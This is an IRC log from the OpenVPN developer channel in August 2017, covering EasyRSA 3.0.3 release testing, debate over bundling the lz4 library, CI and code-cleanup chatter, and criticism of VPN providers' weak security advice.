release it 08:08 < slypknot> ok 08:10 < slypknot> i just tested 302 with that mktemp bin and it worked as is .. testing 303 now 08:13 < slypknot> ecrist: you cannot release that 303 as is .. it is missing start.bat (and other bits) 08:15 < slypknot> you want me to build it myself ??? 08:16 < slypknot> ecrist: also check out : https://www.mktemp.org/mktemp/license.html 08:16 <@vpnHelper> Title: Mktemp License (at www.mktemp.org) 08:17 * slypknot is having lunch 08:17 <@ecrist> slypknot: I'm not seeing file differences betwe 3.0.2 and 3.0.3 08:17 <@ecrist> between* 08:19 < slypknot> haha .. looks like my first download beat you to the punch .. redoing (and eating a sandwich) ;) 08:21 <@ecrist> slypknot: the zip file that github provides is not a "release" zip file. 08:22 <@ecrist> there is a "build" process that I run to generate proper bundles. It does things like changes markdown to html, copies bin to the right place, etc. 08:22 < slypknot> yeah .. i figured 08:25 < slypknot> ecrist: initial test: build-ca/build-server-full/build-client-full/gen-dh all work as expected (as in they work! this time) ;) 08:26 < slypknot> and gen-crl 08:27 <@ecrist> I ran init-pki, build-client-full, build-ca, and gen-crl without a problem. 08:27 <@ecrist> I've published the release now, so we'll see what kind of problem reports we receive. 08:27 < slypknot> I would say it is good to go 08:28 < slypknot> great stuff .. finally a working easyrsa3 for windows 08:29 < slypknot> altho .. i would suggest you include the mktemp licence as well 08:29 < slypknot> ecrist: ^ 08:30 <@ecrist> I'm not too worried for 3.0.3. If you look, I've already comitted the file. 08:30 <@ecrist> https://github.com/OpenVPN/easy-rsa/commit/be9a4cfcd3f10fa1398d8ca9ba38d15c17685554 08:30 <@vpnHelper> Title: Adding license for mktemp · OpenVPN/easy-rsa@be9a4cf · GitHub (at github.com) 08:31 < slypknot> ok 08:44 < slypknot> now all i have to do is get my name on easyrsa-3x as well :) 08:47 <@ecrist> ? 08:48 < slypknot> well .. some sort of contribution which can be doc'd not just helping you o ut ;) 08:57 <@ecrist> there's ~38 open issues on github 09:00 <@ecrist> at least one is documentation related (see #47) 09:02 < slypknot> i'll take a look 09:54 <@ordex> after some cleanup .... 1 file changed, 749 insertions(+), 773 deletions(-) 10:04 <@dazo> "some" .... 10:13 <@ordex> it's route.c 10:13 <@ordex> it looked like pieces of code of different projects merged together in one file 10:13 <@ordex> :D 10:20 <@ordex> syzzer: just to confirm: whatever branch is pushed, travis-ci will run a test with RUN_COVERITY=1 but coverity will accept the request only when the built is coming from release/2.4 ? 10:36 <@syzzer> ordex: correct 10:36 <@syzzer> the coverity script will match the branch, and skip analysis if the branch doesn't match 10:36 <@ordex> syzzer: oky, thanks :) 10:37 <@ordex> although i think in travis-ci you can exclude a single config in the matrix to be executed only for a given branch (maybe) 10:38 <@ordex> I have to find a way to create a shortcut in thunderbird that save the selected messages, branches out in a it repo and git-am the all 10:38 <@ordex> in mutt was so easy ... .-. 11:29 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 11:29 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 12:13 -!- Irssi: #openvpn-devel: Total of 29 nicks [9 ops, 0 halfops, 3 voices, 17 normal] 15:04 <@cron2> ordex: well, from a sysadmin perspective, I tend to disagree. What I really *really* hate is "I want to install <foo>" and then I have to go out and find <libbar 1.x> because <foo> does not build with the libbar I happen to have (which might be 2.x by now) but is stuck on 1.x, or the like. A bundled library that is tested together with the rest of the source and comes with a "this will work!" 15:04 <@cron2> rubberstamp is much nicer 15:05 <@cron2> and don't get me started on gentoo and ffmpeg/libav... basically I can't rebuild my desktop gentoo right now because half the installed things want ffmpeg and the other half wants libav, and neither is willing to use the bundled copies ("because bundled is bad!")... 15:06 <@cron2> (and of course you cannot install ffmpeg and libav at the same time, forgot that bit) 15:08 <@cron2> the fact that we require an external liblzo has also annoyed me numerous times... it's all not an issue if you look at it from the "oh, this is all not our problem, distro maintainers will care for it!" view, but I compile stuff often enough outside of "what the distro ships" that each non-standard depencency annoys me. Not sure which systems ship lz4 today, though - back when we added this, no 15:08 <@cron2> linux distro had it (I think FreeBSD ports actually had it) 15:09 <@cron2> and the "what if there is a security issue in lz4?" argument can be countered by "what if they change their API in an incompatible way, and a new shared library breaks our binary?"... there are good arguments either way 15:13 * cron2 would never argue to bundle openssl or mbedtls, though :-) - those really tend to be present on every system already 16:56 < slypknot> linux but no ssl/tls ? 19:31 <@ecrist> cron2: this is why I like the OS X application bundles. 19:31 <@ecrist> all your libs are included 19:32 <@ecrist> Apple has some goo that looks for libraries and attempts to only register one copy of a given library, even if multiple apps use it 20:12 <@ordex> cron2: don't you think that "this will work!" comes at a cost of security ? 20:13 <@ecrist> ordex: I don't. 20:13 <@ecrist> You're already trusting XYZ software on your system, what's the added harm of letting them bundly their own libraries? 20:15 <@ordex> that you have to make sure that people not related to the project will catch all the security bug fixes and will publish them within the software 20:15 <@ecrist> that comes with anything, though 20:15 <@ecrist> and, really, you're better off letting them use a third party library than reinventing the wheel poorly 20:20 <@ordex> of course, that's why it's better to use an external lib. I think think of a security fix: maintainer of libA receives the fix and advertises a new release. how long will we need to realize that libA has been upgraded, that there is a security fix in it and that we need to make another release and then actually make the release 20:20 <@ordex> ecrist: ^ 20:29 <@ecrist> ordex: that's exactly what I'm saying 20:30 <@ecrist> you're better off having that go unpatched (potentially) than having those devs write their own functions to do whatever the lib did 20:30 <@ordex> ecrist: I am not arguing having a lib vs having an internal implementation 20:30 <@ecrist> ideally, the devs are keeping up on the libs they use... 20:30 <@ordex> I am arguing having a bundled lib vs using a system lib 20:30 <@ecrist> so am i 20:31 <@ecrist> I'd rather "have it work" than fight dependency hell 20:31 <@ordex> ecrist: "ideally". we already don't, as liblz4-1.8.0 is out and we don't even know what bugfix it has 20:31 <@ecrist> You're not a FreeBSD user, are you? 20:31 <@ordex> nope 20:31 <@ordex> my life is easier 20:31 <@ordex> :D 20:31 <@ecrist> well, that's where your perspective comes from. The FreeBSD ports tree mid 90's early 2000's was HELL 20:32 <@ecrist> some ports wanted library foo. port a would build fine with foo 1.0, but port b needed foo 0.9 20:32 <@ecrist> no way to have them both on the system and build them 20:32 <@ecrist> I blame half of that on the ports tree, but it's really the crux of your argument 20:33 <@ecrist> it's actually the entire reason I stopped doing system upgrades. 20:33 <@ecrist> I just do fresh installs these days 20:33 <@ecrist> it's helped me hone my scripting foo, though 20:36 <@ordex> lol 20:36 <@ordex> I see 20:37 <@ordex> seems like the problem is somewhere else 20:37 <@ordex> and we/you are trying to fix this in the packages, no ? 20:37 <@ordex> but I understand where the pain comes from 20:56 <@ordex> krzee: super typhoon here :D wanna join? 21:39 -!- novaflash is now known as novaflash_away 21:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 21:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:08 -!- novaflash_away is now known as novaflash --- Day changed Wed Aug 23 2017 00:05 -!- Netsplit *.net <-> *.split quits: @syzzer 00:07 -!- Netsplit over, joins: syzzer 00:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:44 <@syzzer> ordex: yeah, we even had "typhoon it hitting HK today" on the morning news! 02:47 <@syzzer> and although I don't really care (I would like to rip out compression anyway), I'm with you that I think keeping our own - slightly changed - copy of the lz4 sources in our repo is a bad idea. I'd prefer not to pull in the packager's / port maintainers / installer builder / whatever person is responsible for dependency mangement's job into our scope. 02:47 <@ordex> the strongest in the last 5 years 02:48 <@ordex> syzzer: and a KLM flight from AMS was the only flight to land during the typhoon :D 02:48 <@ordex> syzzer: agreed 02:48 <@ordex> it just adds a weak ring to the trust chain of the final package 02:49 <@syzzer> yeah, Duthc pilots are bad ass :p - when I visited Greece a few weeks back, the Dutch flight also was one of the few who not decided to divert due to cross winds 02:49 <@syzzer> was an interesting landing though:p 02:49 <@ordex> :D 02:49 <@ordex> somebody said that today it was just like a normal windy day at schiphol :D 02:50 <@syzzer> hehe, well, I don't think that's true. Bad it is quite windy here. 02:50 <@ordex> yeah I don't think that's true either :P but somebody wanted to make fun of the netherlands :P 02:51 <@ordex> although when i was there I had a couple of very bad windy days, with the authority telling people to stay home. around 2 years and half ago i believe 02:51 <@syzzer> let's just say you don't visit our country for the weather :') 02:52 <@syzzer> anyway, meeting time @work, ttyl 02:54 <@ordex> enjoy ! 03:41 <@ordex> syzzer: btw the problem with the *-inline.h files is that they reference each other ... so putting everything in the .h and deleting the *-inline.h files gets trickier as they will be in a dep loop and will lack definitions (due to the #ifndef) 03:42 <@ordex> although this can be uglishy fixed 04:17 <@plaisthos> syzzer: is Amsterdam airport so windy? 04:18 <@plaisthos> syzzer: or for your mountains. 04:18 <@syzzer> ordex: forward declarations are fine, no need for -inline.h :) 04:18 <@plaisthos> (Then again Sauerland seems like a Dutch colony) 04:18 <@syzzer> a -forward.h is probably better 04:19 <@syzzer> plaisthos: mountains? 04:19 <@plaisthos> syzzer: the great Dutch mountins with their peaks in the tens to hunderts of meters *ducks* 04:20 <@ordex> syzzer: I moved some stuff a bit to make it work without additional files. We'll see if it is reasonably ok 04:20 <@syzzer> AMS is not very windy I think, but because it has landing strips in many directions (so there's usually one without cross winds available) my image might be clouded a bit 04:21 <@plaisthos> hm, so no home bonus with wind experience, then probably just bad ass pilots 04:21 <@syzzer> ordex: yeah, moving is probably better. circular dependencies is often a smell for design problems 04:22 <@ordex> ehm.. 04:22 <@ordex> :D 08:29 <@dazo> cron2: [bundling] .... the "if they change the API" argument is moot, IMHO. If they do that, the .so version numbering should change as well. And it should be possible to install multiple libraries of different API version in parallel (and if not, the package maintainers of that library have not done their job well enough) 08:39 <@dazo> I'll grant you that some distros (like Fedora) have strict rules about parallel installed libraries, but the dependency checks are also fairly comprehensive so if you try to update liblz4 to a version with a new lib/.so version number and have packages already installed depending on the old one, it will complain loudly and will reject the update ... and package maintainers gets yelled at if that occurs .... But I can understand this being 08:39 <@dazo> a far worse issue on distributions with weaker dependency tracking 08:41 <@dazo> But I then suggest that we flip things somewhat around .... We change ./configure to use system installed liblz4 by default ... and provide --enable-bundled-lz4 as the alternative for now ... and that this change is for git master primarily 08:41 < CRCinAU> Police Academy movies ftw :P 08:41 <@dazo> then we can see how that impacts our users and consider what to do next 08:42 <@dazo> CRCinAU: heh .... we have a cable tv channel which seems to send all of at least twice a year ... in addition to all the James Bond movies 08:42 < CRCinAU> I just 'aquired' the MKVs ;) 08:43 < CRCinAU> somehow - a movie made in 1984 is in 720p 08:43 < CRCinAU> and it actually looks that good.... 08:43 <@dazo> wow 08:44 < CRCinAU> but +1 for systems lz4. 08:44 < slypknot> huh .. +b CNCinAU 08:44 < CRCinAU> b for best korea... 08:45 < slypknot> kline CRCinAU 08:45 < slypknot> ecrist: you can close https://github.com/OpenVPN/easy-rsa/issues/125 08:45 <@vpnHelper> Title: build-ca fail, rc2 binarys · Issue #125 · OpenVPN/easy-rsa · GitHub (at github.com) 08:46 < slypknot> dazo: if/when you apply openvpn.8 patch you can completely rewrite the commit msg if you want to 08:47 <@dazo> I'm letting it a little patch queue build up before processing it first ... more efficient for me to work like that 08:47 <@dazo> (I'll admit,though, that 20-30 patches is a bit too large queue ... ) 08:48 < slypknot> dazo: no rush for mine just letting you know 09:04 <@ecrist> thanks slypknot, I've closed the issue. 09:05 < slypknot> ecrist: ok :) 09:05 < slypknot> how about : https://community.openvpn.net/openvpn/ticket/788#comment:6 09:05 <@vpnHelper> Title: #788 (EASYRSA_KEY_SIZE, EASYRSA_DIGEST in vars is ignored) – OpenVPN Community (at community.openvpn.net) 09:08 < slypknot> ecrist: curious what you think about that ^ ? 09:09 <@ecrist> I closed it. I'll handle that on github. I was looking at it last night. 09:10 <@ecrist> historically, EasyRSA expects stuff to exist in $pwd, and I'm not sure we want to change that behavior. 09:11 < slypknot> ok .. just it seems to me that you covered it there in vars .. and maybe distro package maintaners have not understood the required behaviour 09:12 < slypknot> How load would people scream if their distro update wiped out their live pki cos they did it wrong 09:12 < slypknot> i like how it is now,, so that's my vote 09:12 <@ecrist> ultimately, you "as a developer" want your software to work. distro maintainers, however, can be problematic 09:13 <@ecrist> xyz system handles Y "this way" and deviates for with the software does. but if the software changes, then they won't conform to abc's methods, either. 09:16 < slypknot> unless the user is running as root can they even do what they are trying in #788 ? 09:16 <@ecrist> closed 09:17 < slypknot> :P 19:12 <@ordex> morning 20:50 <@ecrist> evening 21:41 < CRCinAU> w00t - managed to pop a root shell on my Telstra TG799vac modem --- Day changed Thu Aug 24 2017 01:50 <@ordex> syzzer: any clue about what could be wrong with the osx builds? https://travis-ci.org/ordex/openvpn 01:50 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 04:50 <@syzzer> ordex: what do you mean? all is green there 04:50 <@ordex> syzzer: now it is. but on the previous run after several hours the 2 osx tests were not running yet 04:50 <@ordex> like they were waiting for something 04:50 <@ordex> not sure what happened 04:55 <@syzzer> oh, the osx builds are just horribly slow 04:55 <@syzzer> slaves something have huge queues 04:57 <@ordex> oh I see 04:57 <@ordex> that makes sense 04:57 <@ordex> I mean, it justifies the delay :P 06:11 < slypknot> ecrist: looks like this can be closed https://community.openvpn.net/openvpn/ticket/818 06:11 <@vpnHelper> Title: #818 (easy-rsa package does not contain windows binaries) – OpenVPN Community (at community.openvpn.net) 07:38 <@ecrist> closed 07:40 < slypknot> ecrist: here is another https://community.openvpn.net/openvpn/ticket/923 07:40 <@vpnHelper> Title: #923 (Easy-RSA configuration fails with error:0E065068) – OpenVPN Community (at community.openvpn.net) 07:45 < slypknot> why point people to v302 when you know it will not work .. just go to v303 07:56 < slypknot> ecrist: change all /n to /cr/lf in windows text files for easyrsa 08:06 < slypknot> ecrist: it appears eayrsa3 does *not* require openssl path to be '/' or '\\' .. mine works fine on W10 with PATH=C:\Program Files\Openvpn\bin; 08:35 <@ecrist> I should pull the v3.0.2 release. 08:36 <@ordex> why do we have so many TODOs and FIXME in the code? :D 08:38 <@ecrist> so you'll know what to work on 08:39 <@ecrist> dazo/mattock: can you please release v3.0.3 with the next OpenVPN windows build? 08:39 <@ecrist> EasyRSA v3.0.3 is what I'm referring to 08:48 <@dazo> TODO/FIXME .... It's not what: to know what to work on .... It's more like: To know what have been postponed for later 08:49 <@ordex> I have the feeling some TODO are there since .. ehm .. 08:49 <@ordex> ages? 08:49 <@ordex> :D 08:49 <@ordex> maybe at some point $somebody should go over them :P 08:51 <@dazo> have you looked at git blame? :-P 08:51 <@ordex> hehe not yet 08:51 <@ordex> :D 08:51 * ordex is in housekeeping mode since a couple of days 08:54 <@dazo> hmmmm .... we've noticed! :-P 08:59 < slypknot> Easyrsa303 + Official Windows Release ?!?!?!? .. sounds a wee bit serious .. 09:01 <@dazo> slypknot: those who don't dare never wins ;-) 09:01 <@syzzer> we probably should do a 2.4.x release soon anyway. plenty of good stuff in the release/2.4 branch. maybe get the man page fix in first ;-) 09:03 * ordex nods 09:05 < slypknot> well, i hope someone will ack the man page patch soon ;-) it's an easy patch to test locally with the included bash 09:05 < slypknot> all in colour to help on the eye 09:06 <@dazo> agreed, we need a new release soon 09:07 < slypknot> as for easy-rsa303 .. i'll test it more thoroughly tonight but so far it works ok 09:08 <@dazo> but it would be great to not stress it too much .... trying to get the PR machinery going in parallel as well .... where we will try to catch some public attention that we're deprecating features and BF-CBC ... and having an angle on "actively improving the overall OpenVPN security" 09:09 <@ordex> dazo: what is the PR machinery ? 09:09 <@dazo> public relation/press release ... marketing stuff :) 09:10 <@ordex> a 09:10 <@ordex> ah 09:10 <@ordex> :D 09:10 <@dazo> mattock and I are on that ball, discussing it with the proper guys internally 09:10 <@ordex> yeah 09:10 <@ordex> do $something ! 09:10 <@ordex> :D 09:10 <@dazo> yeah :-P 09:11 < slypknot> we could alsways go spamming other peoples webshites 09:11 < slypknot> vpnranks for example 09:11 <@ordex> vpnpranks 09:12 < slypknot> lol 09:12 <@dazo> slypknot: the company actually have some press contacts ... and tries to utilize that when they want some attention 09:13 < slypknot> i was only jokin 09:13 <@dazo> eeeek ..... vpnranks must be delusional 09:13 < slypknot> aren't they all 09:14 <@dazo> listing purevpn as the most recommended ..... I mean, they actively goes out and tell people how to _re-enable_ MD5 certificate support for OpenVPN to function with their service 09:15 <@dazo> and MD5 based certificates have demonstratively been considered completely broken since 2005(!) 09:15 <@dazo> (I do have a few twitter rants about that) 09:15 < slypknot> yeah .. they follow the money only 09:16 <@ordex> do they really make money ? 09:17 < slypknot> i expect so .. 09:17 <@dazo> considering that they appear a lot of places ... they probably earn something .... if it is good or bad money, or something else, I have no idea 09:18 < slypknot> meh .. who cares .. they are all bullshitters (privatetunnel aside) 09:20 <@dazo> https://twitter.com/DavidSommerseth/status/879727231890862083 (md5 rant) 09:22 <@dazo> feel free to spread and make some real fuzz about it 09:35 <@vpnHelper> RSS Update - tickets: #928: iOS <https://community.openvpn.net/openvpn/ticket/928> 09:35 < slypknot> dazo: nice .. did your post ever get approval on purevpn ? 09:38 <@dazo> slypknot: nope 09:42 <@dazo> which just illustrates their whole security attitude 09:43 <@dazo> oh ... and another fun fact, not too long ago, PureVPN guys claimed TCP had higher security for OpenVPN traffic than UDP ......... 09:46 <@ordex> ah right 09:46 <@ordex> :D 09:46 <@ordex> that sentence ... was really funny 09:46 <@ordex> am I wrong or they are based in HK ? 09:47 <@ordex> Hong Kong based GZ Systems experimented with a VPN in 2006 and that was the beginning of a revolutionary VPN product - PureVPN 09:49 <@ordex> not far away from here...and expensive location 09:49 <@ordex> well, not extremely 09:49 <@dazo> https://www.purevpn.com/about.php ... seems so 09:52 < slypknot> https://www.vpnbook.com/freevpn : paragraph #1, last sentance: "In that case you need to use OpenVPN, which is impossible to detect or block." 09:53 <@vpnHelper> Title: Free VPN Accounts 100% Free PPTP and OpenVPN Service (at www.vpnbook.com) 09:54 <@dazo> If we all got a cent each time someone wrote such bullshit .... we'd be millionaires within a year 09:54 <@ordex> :D 09:54 < slypknot> I might put your rant up on openvpn forum =] 09:55 <@dazo> sure 09:55 < slypknot> about md5 09:55 <@dazo> yeah, figured 09:55 < slypknot> cool 09:55 <@dazo> PureVPN also got in touch with me privately on twitter ... I'm considering to share that too .... 09:55 < slypknot> we have this thread to add to: https://forums.openvpn.net/viewtopic.php?f=21&t=23158 09:56 <@vpnHelper> Title: Sex Lies and VPN Providers - OpenVPN Support Forum (at forums.openvpn.net) 09:56 <@dazo> hahahaha 09:56 <@dazo> wonderful title! 09:56 < slypknot> ooh .. love to see what purevpn had to say ;) 09:56 * dazo need to grab some dinner with the family now 09:56 < slypknot> later dood 10:01 < slypknot> this should probably be closed : https://community.openvpn.net/openvpn/ticket/928 10:02 <@vpnHelper> Title: #928 (iOS) – OpenVPN Community (at community.openvpn.net) 10:13 <@ecrist> closed 10:19 <@ordex> dazo: https://www.purevpn.com/order << check the "ago" time in the boxes 10:19 <@ordex> it is randomly generated at every refresh :P 10:19 <@ordex> they don't even make it a consistent lie :P 10:34 <@plaisthos> dazo: oh yeah, purevpn was also the vpn providers that I broke with OpenSSL 1.1 in my app 10:34 <@plaisthos> I told the users "Look into the FAQ but better switch VPN providers" 10:57 <@ordex> :D 10:57 <@dazo> :D ... hahaha ... wow, "impressive"! 10:59 <@dazo> ROFL!! "Ultra Private & Secure: PureVPN works like a bullet-proof sedan, allowing you to cross the busy streets of urban internet with ease, comfort, and security." 11:04 <@plaisthos> with md5 :D 11:04 <@plaisthos> and got know how much other bad things there are 11:04 <@dazo> yeah 11:05 * dazo begins to ponder on a reddit rant 11:05 <@ordex> maybe they have written something that you could reply to already ? 11:05 * dazo checks 11:06 <@plaisthos> md5 in /r/vpn turns up nothing 11:06 <@dazo> surprisingly little 11:06 <@dazo> https://www.reddit.com/r/purevpnreview/ 11:06 <@vpnHelper> Title: All About PureVPN and VPN Industry (at www.reddit.com) 11:07 <@ordex> reddit is not used by kiddies :) 11:07 <@plaisthos> https://www.reddit.com/r/VPN/comments/4e6ybk/purevpn_got_hacked_malicious_trojan_is_being/ 11:07 <@vpnHelper> Title: PureVPN got hacked // malicious trojan is being spread via their infrastrucutre : VPN (at www.reddit.com) 11:07 <@ordex> interesting .. 11:07 <@dazo> why am I not surprised 11:08 <@ordex> 1 year ago 11:09 <@ordex> ah but it's something rdicolous 13:22 <@ordex> dazo: btw the change about the "useless assignment" did not want to be an "optimization", but only a cleanup to not confuse a reader: having a ret variable preassigned usually means that there can be an early way out of the function and the preassigned value is the default return value. while in this case it is reassigned immediately .. so looks more like something that was forgotten 13:22 <@ordex> but i agree we can move the declaration down directly 13:24 <@plaisthos> I would agree with dazo a few years ago 13:24 <@plaisthos> but today I would rather not have an assignment as compilers nowadays warn if you use an unassigned value 13:34 <@dazo> well, when we enable -Werror, I can agree to that approach :) 13:35 * dazo don't trust developers to always take care of compiler warnings .... and there are more than a single unified compiler in use too 13:36 <@ordex> well, we are going in that direction..and I can bite if I see another warning being re-introduced :D 13:36 <@ordex> dazo: but following that logic then we should initialize *every* variable we have? 13:36 <@ordex> why only the poor ret? :D 13:49 <@dazo> fair point 14:23 * ordex searches what AIX is 14:23 <@dazo> ?? 14:23 <@dazo> Never heard of IBM AIX? 14:24 <@ordex> not really :P 14:24 <@ordex> is it still widely used? 14:24 <@dazo> yeah, for larger sites though 14:24 <@ordex> I might have heard, but never really deepened 14:24 <@ordex> cron2: NAK! 14:24 <@ordex> :D 14:25 <@dazo> IBM Power machines can run AIX .... that's the "weakest" ones ... then you have the system Z machines (which is the true definition of virtualization) 14:26 <@ordex> I should probably study these mainframe technology more :) 14:27 <@dazo> I've been involved in some IBM Power8 stuff .... that's quite cool machines .... they can run code in both LSB and MSB mode in parallel 14:33 <@dazo> (a max speced 2 socket Power8 box can have 192 parallel running threads - all at the same speed ... each thread alone won't run as fast as if the CPU was configured to only in single thread mode. But the overall performance of proper multi-threaded apps can achieve twice as high throughput with all threads enabled - according to IBM) 14:33 <@dazo> a box quite suitable for virtualization, you could say :) 14:36 <@dazo> ouch ... they've expanded the specs even further than when I played with it .... https://en.wikipedia.org/wiki/POWER8#Systems 14:36 <@vpnHelper> Title: POWER8 - Wikipedia (at en.wikipedia.org) 14:37 <@dazo> (And yes, RHEL runs on these beasts!) 14:37 <@ordex> wow 14:37 <@ordex> :) 14:38 <@ordex> how much does one of these cost? :D 14:39 <@dazo> The ones I played with (co-operationg between Technicial university in Brno,CZ, IBM and Red Hat) had 2x sockets with 12 cores ... 128GB RAM and 1TB disk in RAID5 (iirc) ... stock price was around €28.000 14:40 <@ordex> mh ok 14:40 <@dazo> but considering you can run some 100 VMs without the machine even beginning to sweat ... it's not that bad :) 14:40 <@dazo> kick off 200 VMs, and each VM costs about €140 14:40 <@ordex> eheh true 14:42 <@dazo> IBM also bragged about the KVM stuff (they've ported KVM to Power) .... they booted one VM per second ... they stopped at a 1000 VMs, because it got boring 14:42 <@dazo> (it just worked) 14:42 <@ordex> lol 14:42 <@ordex> right 14:42 <@ordex> must be boring :P the exciting part was only the porting 14:42 <@ordex> :D 14:42 <@dazo> yeah :-D 14:43 <@dazo> I might still have access to some of these boxes ... if we want, we can probably get a couple of VMs for openvpn testing .... both Little and Big Endian ones 14:44 <@ordex> wouldn't be bad 14:44 < slypknot> i wonder what would have happened if they tried to build openvpn on all of those VMs at the same time ;-) 14:44 <@dazo> lol 14:45 <@dazo> slypknot: global warming would reach another level? 14:45 < slypknot> that broke my vms under hyperv ;-) 14:45 <@dazo> https://docs.google.com/forms/d/e/1FAIpQLSdgtsp-rname-R_nG6lxTWP_tNluY0NYTQAD1qVKzH3tXeJyA/viewform 14:45 <@vpnHelper> Title: IBM POWER access at Red Hat Lab @ FIT (at docs.google.com) 14:46 < slypknot> dazo: go for it ! 14:48 < slypknot> can you imagine what C.Babbage would think of the modern world .. 14:49 <@dazo> heh :) 15:13 < slypknot> one day someone will make a Lego computer that can host a VM ! 15:14 <@dazo> heh 15:14 < slypknot> but how could you tell 15:15 <@dazo> they're working on VM support on the AMD chipsets .... so once that gets common, expect RasperryPi and similar ones to be able to run KVM 15:18 < slypknot> hmm .. not sure it is really worth running a vm on a pi ? 15:19 <@dazo> not on todays hardware ... but that was exactly what people said when VM features started to appear on laptops too .... now we can barely live without it (at least if you're doing development) 15:20 < slypknot> fair point 15:21 <@dazo> given enough RAM and enough CPU power, there is seldom a reason not to run a VM ... if not a full fledged virtualised OS install ... but something like an Atomic host or smaller (Like IncludeOS based apps and such) 15:21 < slypknot> what they really want to replace is screens with brain chips :D 15:21 <@dazo> hehehe 15:21 <@dazo> not sure my wife would appreciate that .... I would be too long disconnected from the real world :-P 15:22 < slypknot> it will be a very personal choice but i cannot see it *not* happening one day 15:23 <@dazo> oh that's definitely going to happen .... the question is only _when_ :) 15:23 <@dazo> same with sound as well 15:23 < slypknot> indeed 15:23 <@dazo> with sound+video ... then the Matrix isn't that far fetched even :-P 15:24 < slypknot> yep ! 15:24 < slypknot> i never doubted it 15:26 < slypknot> did you know the Wochowski brothers are now sisters .. 15:29 <@dazo> nope 15:30 < slypknot> sometimes i am not convinced that the matrix dies not already "have me now" ;) 15:30 < slypknot> dazo: you know now ! 15:32 * dazo is trying to fool the monitoring processes ... and chooses to deliberately ignore such input 15:32 < slypknot> lmao ! 15:33 * slypknot has a division by zero error 15:35 <@dazo> one monitor process spotted 15:42 < slypknot> there is one thing about the pi .. very low power consumption .. beafing one up to host a VM would probably ruin that need ? 15:43 < slypknot> although .. that is exactly where some new comer will step in 15:45 < slypknot> Hats of the future: google glass (two way) / iphone ear plugs / battery 15:45 < slypknot> oh and a pi 15:47 <@dazo> if you're going to host a bunch of VMs, that's will drain some power .... but the power drain will be capped at what the CPU needs 15:47 <@dazo> so if the CPU gets power efficient with VM support ... well, then that's not an issue 15:50 < slypknot> it is a trade off though .. laptops have everything you need but Pis don't .. so a laptop (or smaller) has everything on one neat package .. 15:50 < slypknot> if you make the Pi too pwerful then you are going to need a work station 15:51 < slypknot> because you will use it more 15:53 < slypknot> i believe there already is a fully fledge workstation for a smartphone .. sony i think 15:53 <@dazo> well, that is with today's knowledge and technology 15:54 < slypknot> we are back to brain implants ;) 15:54 < slypknot> everything else is just in-between-times 15:56 < slypknot> oh man .. i just hit the wall ! 15:56 < slypknot> a human brain with an implant hosting a virtual machine 15:57 <@dazo> Some years ago (2009-10ish) I spoke with some embedded developers, doing both hardware and real-time Linux ... at that time, the Koreans were aggressively researching mobile devices which could act as a information hub you brought with you. Breakfast: you read news, subway to work: you watch favourite tv show, at work you plug it into a docking and prepare a power point presentation and undock it, go to customer and run the presentation 15:57 <@dazo> from the phone on a projector through wireless, go to work download a movie, travel home listen to music and come home dock it into your tv and get 4K UHD with full surround sound 15:58 <@dazo> (what has changed, since that time .... 4K UHD streaming is not far fetched, that was more far fetched 7-8 years ago) 15:58 <@dazo> (hence the download) 15:58 < slypknot> that was you today , right ? ;) 15:58 <@dazo> hehe ... I wish :) 15:58 <@dazo> but that's where the Koreans are aiming 15:59 <@dazo> back then .... I wonder what they want _today_ :) 15:59 < slypknot> hehehe 15:59 < slypknot> south or north ? 15:59 <@dazo> lol 15:59 <@dazo> you may guess! ;-) 15:59 * slypknot is now scared ! 16:00 < slypknot> I have a customer who worked in korea for about 25 years 16:00 < slypknot> the stories he has are bizarre 16:00 <@dazo> oh, I can imagine 16:01 < slypknot> like men and women don't (or did not then) speak enough of the same language to be able to work together 16:03 < slypknot> meetings were interesting 16:04 < slypknot> dazo: do you have an online profile of you and your qualification etc ? 16:04 < slypknot> one you like 16:09 <@dazo> I'm on LinkedIn 16:21 <@dazo> look at the dress and hair style .... and see if you can guess which company they represent ... 16:21 <@dazo> https://www.youtube.com/watch?v=MEhX-J0bLRc 16:24 < slypknot> that is a lot of Mikes 16:25 < slypknot> oh they represent red hat vtw 16:26 <@dazo> Two from Microsoft, two from RH 16:27 < slypknot> lol 16:27 < slypknot> that's not fair 16:31 < slypknot> dazo: reading your .In profile: you and me discovered red hat in 1998 .. you did a lot better than i 16:32 <@dazo> heh 16:32 < slypknot> life 16:35 < slypknot> dazo: thanks man .. be good :) 16:36 < slypknot> actually .. 16:36 < slypknot> ** Big thanks to all Openvpn peeps ** 17:33 < slypknot> 'push "explicit-exit-notify 3"' works for me ;) 17:42 < slypknot> even with only one remote 19:26 < slypknot> you have to admire a FOSS project who mailing list is this: 19:27 < slypknot> https://openvpn.net/index.php/open-source/documentation/miscellaneous/mailing-lists.html 19:27 <@vpnHelper> Title: Mailing Lists (at openvpn.net) --- Day changed Fri Aug 25 2017 07:27 <@ordex> syzzer: could we potentially support Curve25519 with the current mbedtls that we link against? 07:27 <@ordex> I know that for openssl we'd need 1.1.0 07:28 <@plaisthos> https://tls.mbed.org/tech-updates/releases/polarssl-1.3.3-released mentions that curve 07:28 <@vpnHelper> Title: PolarSSL 1.3.3 released - Tech Updates - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 07:28 <@ordex> I see 07:36 -!- siruf_ is now known as siruf 21:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:54 <@ordex> moin moin! --- Day changed Sat Aug 26 2017 03:14 <@vpnHelper> RSS Update - tickets: #929: remember password is nonfunctional <https://community.openvpn.net/openvpn/ticket/929> 04:06 <@ordex> syzzer: any reason for not using the base64 functions from the SSL library? 08:47 < CRCinAU> oooooo 08:47 < CRCinAU> I think I get a prize 08:47 < CRCinAU> www.facebook.com is currently unable to handle this request. 08:47 < CRCinAU> HTTP ERROR 500 08:52 < slypknot> Facebook is down for required maintenance right now, :') 08:55 < CRCinAU> hopefully, that's deleting half its userbase 08:59 < slypknot> wonder how many "smart" phones just got smashed ! 13:21 